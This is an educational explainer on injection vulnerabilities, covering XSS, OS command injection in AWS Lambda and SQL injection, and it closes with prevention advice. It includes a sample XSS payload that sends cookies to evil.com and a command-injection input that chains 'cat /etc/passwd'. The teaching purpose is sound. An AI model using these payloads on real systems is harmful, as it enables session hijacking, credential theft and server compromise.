Theory: What is Injection?

Injection happens when an application takes user input and treats it as executable code. Instead of reading the input as data, the application runs it — as HTML, as a shell command, as a database query.

The root cause is always the same: the application trusts user input without checking or escaping it.

Cross-Site Scripting (XSS)

XSS is injection into a web page. The attacker sends JavaScript inside a form field or URL parameter. The server reflects that input back into an HTML page without encoding it. The victim’s browser sees the JavaScript and runs it.

What an attacker can do with XSS:

• Steal session cookies and authentication tokens
• Redirect the user to a phishing page
• Modify the page content (defacement)
• Capture keystrokes and form data

Example: A search page displays “Results for: hacker” by inserting the search term directly into the HTML. If the search term is <script>document.location='https://evil.com/steal?c='+document.cookie</script>, the browser executes it and sends the victim’s cookies to the attacker.

OS Command Injection

Command injection happens when user input is passed into a system shell. The attacker sends shell commands instead of normal input, and the server executes them.

What an attacker can do with command injection:

• Read any file on the server (source code, configuration, secrets)
• Run system commands (id, whoami, ls, cat)
• In AWS Lambda specifically: dump environment variables that contain AWS credentials (access key, secret key, session token)
• Use those stolen credentials to access other AWS services (S3 buckets, DynamoDB tables, other Lambda functions)

Example: An endpoint that runs date lets the user pass a format string. If the code uses subprocess.Popen(user_input, shell=True), the attacker can send id; cat /etc/passwd and the shell runs both commands.

Real-World Impact

• XSS is one of the most common bug bounty findings. Programs pay $500 to $10,000+ per report depending on impact. It is used in targeted phishing, session hijacking, and account takeover attacks.
• Command injection gives full server access. In cloud environments, this means stealing IAM credentials and pivoting to other services. The Capital One breach (2019) involved credential theft from cloud metadata — one vulnerability led to 100 million records exposed.

How to Prevent Injection

• Never trust user input. Validate, sanitize, and escape everything that comes from outside your application.
• For XSS: Use a template engine with auto-escaping enabled. Never insert raw user input into HTML.
• For command injection: Never use shell=True in subprocess calls. Use parameterized commands with argument lists instead.
• For SQL injection: Use parameterized queries or an ORM. Never concatenate user input into SQL strings.